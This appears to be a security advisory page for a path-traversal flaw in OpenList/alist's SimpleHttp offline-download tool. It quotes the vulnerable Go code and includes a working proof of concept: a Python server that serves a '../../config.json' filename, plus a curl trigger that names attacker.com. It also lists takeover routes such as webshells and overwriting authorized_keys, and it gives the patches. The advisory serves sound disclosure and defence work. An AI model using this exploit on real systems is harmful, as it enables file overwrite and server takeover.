CVE-2026-75602: OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool

Published Sep 3, 2026
·
Updated

Summary

Alist's offline-download feature (POST /api/fs/addofflinedownload with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.

A non-admin user with PermAddOfflineDownload permission on any path is sufficient.

Affected code

internal/offlinedownload/http/util.go — filename returned verbatim from header:

go func parseFilenameFromContentDisposition(contentDisposition string) (string, error) { if contentDisposition == "" { return "", fmt.Errorf("Content-Disposition is empty") } , params, err := mime.ParseMediaType(contentDisposition) if err != nil { return "", err } filename := params["filename"] if filename == "" { return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition) } return filename, nil // ← no traversal stripping }

internal/offlinedownload/http/client.go (SimpleHttp.Run):

go filename := path.Base(urlPath) // safe if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil { filename = n // UNSAFE — no sanitization } = os.MkdirAll(task.TempDir, os.ModePerm) filePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; "../" escapes tempDir file, err := os.Create(filePath) // arbitrary file create+truncate , = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)

server/handles/offlinedownload.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).

Note: tryPutUrl in internal/offlinedownload/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.

PoC

1. Attacker has any alist account with PermAddOfflineDownload on some path it can write to (e.g. /somefolder). 2. Attacker hosts a small HTTP listener:

python from http.server import BaseHTTPRequestHandler, HTTPServer PAYLOAD = b"anyattackercontrolledbytes\n" TRAVERSAL = "../../config.json" # destination path under /opt/alist/data/ class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Disposition", f'attachment; filename="{TRAVERSAL}"') self.sendheader("Content-Length", str(len(PAYLOAD))) self.endheaders() self.wfile.write(PAYLOAD) HTTPServer(("0.0.0.0", 80), H).serveforever()

3. Trigger:

bash curl -X POST 'http://victim-alist.example/api/fs/addofflinedownload' \ -H 'Authorization: <session-token>' \ -H 'Content-Type: application/json' \ -d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","deletepolicy":"deletenever"}'

4. Server-side: tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>. filename = "../../config.json". filePath = filepath.Join(tempDir, filename) cleans to /opt/alist/data/config.json. os.Create truncates the existing config; the response body is streamed in.

Impact

The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, as the alist process (PUID=0 in default Docker). Because the vulnerable code ultimately calls os.Create on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:

- Replace /opt/alist/data/config.json with attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook. - Drop a webshell into a writable docroot served by a sibling web server (environment-dependent). - Truncate the alist binary at /opt/alist/alist (Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary. - Write authorizedkeys if a host volume bind-mounts e.g. /root/.ssh and that directory exists.

Caveat: the parent directory of the target must already exist; os.Create does not mkdir -p intermediate components. This still leaves many high-impact targets reachable on default deployments.

Adversarial review notes

- filepath.Join does collapse .. (Go semantics confirmed via stdlib). - No containment check exists after the join. - mime.ParseMediaType does not strip path separators or .. from filename or RFC 5987 filename. - The resolved path is opened using os.Create, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists. - SimpleHttp is registered by default (internal/offlinedownload/all.go). - The route is not AuthAdmin-gated. - Default guest is disabled (perm 0); this requires a user with PermAddOfflineDownload.

Remediation

Minimal patch in internal/offlinedownload/http/util.go:

go filename = filepath.Base(filename) if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) { return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition) } return filename, nil

Defense-in-depth in internal/offlinedownload/http/client.go after computing filePath:

go cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator) if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) { return fmt.Errorf("filename escapes temp dir") }

Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.

go if , err := os.Stat(filePath); err == nil { return fmt.Errorf("file already exists") }

The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under internal/offlinedownload/{aria2,qbit,transmission,115,pikpak,thunder}/ for consistency.

Inherited from upstream

This bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).

Cross-reference

This is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download SimpleHttp downloader was not in scope of that fix; the vulnerable code is on main HEAD as of the time of this report (verified against the openlistteam/openlist tree's internal/offlinedownload/http/client.go retrieved 2026-05-09 — the SimpleHttp.Run function still calls parseFilenameFromContentDisposition and uses the result verbatim with filepath.Join(task.TempDir, filename). OpenList's variant adds a strings.Trim(filename, "/") call which strips leading/trailing slashes but does NOT block .. traversal segments — so the bug remains exploitable.)

Credit

Discovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.

Other sources

OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/addofflinedownload with tool: "SimpleHttp" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offlinedownload/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offlinedownload/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offlinedownload.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offlinedownload/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.

MITRE

Affected Software

2 affected componentsFixes available
OpenList OpenList<4.2.3
go/github.com/OpenListTeam/OpenList<=4.2.2
4.2.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/OpenListTeam/OpenList to a version that resolves this vulnerability.

    Fixed in 4.2.3
  2. Upgrade

    Upgrade alist to a version that resolves this vulnerability.

    Fixed in 4.2.3
  3. Configuration

    In internal/offline_download/http/util.go and internal/offline_download/http/client.go (SimpleHttp.Run), add containment/validation so the attacker-controlled filename taken from the Content-Disposition header cannot escape task.TempDir after filepath.Join (e.g., ensure filePath stays under tempDir after Clean/Join) and do not allow filenames derived verbatim from Content-Disposition that can include traversal segments like "../../config.json".

    Alist offline-download (SimpleHttp) filename validation for Content-Disposition = reject invalid/traversal/unsafe filenames
  4. Configuration

    Change the file creation logic in SimpleHttp.Run so creation does not truncate/overwrite an existing file (i.e., reject when the resolved target already exists, or use an equivalent exclusive-create mechanism) to prevent attacker-controlled overwrite when the chosen filename resolves to an existing file.

    SimpleHttp offline-download file creation os.Create usage = use exclusive-create / reject existing targets
  5. Configuration

    Update server/handles/offline_download.go so the AddOfflineDownload route that currently uses normal user authentication (not AuthAdmin-gated) cannot be used by a non-admin user; gate offline-download actions with AuthAdmin or an equivalent admin-only authorization check.

    Alist API route /api/fs/add_offline_download authorization gating = require AuthAdmin (or equivalent admin-only control)
  6. Compensating control

    Apply defense-in-depth containment so the alist process cannot write arbitrary host paths from /opt/alist/data/temp/SimpleHttp/* (e.g., mount/containerize with least privilege so parent directories like /root/.ssh or /opt/alist/data/ are not writable, and/or use filesystem permissions/containers to limit write scope of the alist PUID=0 process).

Event History

Sep 3, 2026
CVE Published
via MITRE·04:53 PM
Data Sourced
via MITRE·04:53 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:37 PM
Data Sourced
via GitHub·05:37 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users can exploit this issue?

A non-admin authenticated user can exploit it if they have the PermAddOfflineDownload permission on any path. The affected route uses normal user authentication rather than administrator-only authentication.

2

What must an attacker control?

The attacker needs to submit an offline-download request using the SimpleHttp tool and supply a URL whose response has an attacker-controlled Content-Disposition filename. A local-storage destination reaches the vulnerable SimpleHttp download path.

3

What files can be affected?

The issue can create, truncate, or overwrite files outside the task temporary directory when the OpenList process has write permission and the target file's parent directory already exists. It does not require administrator privileges within OpenList.

4

What can be done before upgrading?

Remove or restrict PermAddOfflineDownload for untrusted users to prevent them from submitting the required offline-download requests. Limit filesystem write permissions for the OpenList process to reduce the set of files that could be overwritten.

5

Which versions contain the fix?

The issue is fixed in OpenList version 4.2.3. Versions prior to 4.2.3 are affected.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203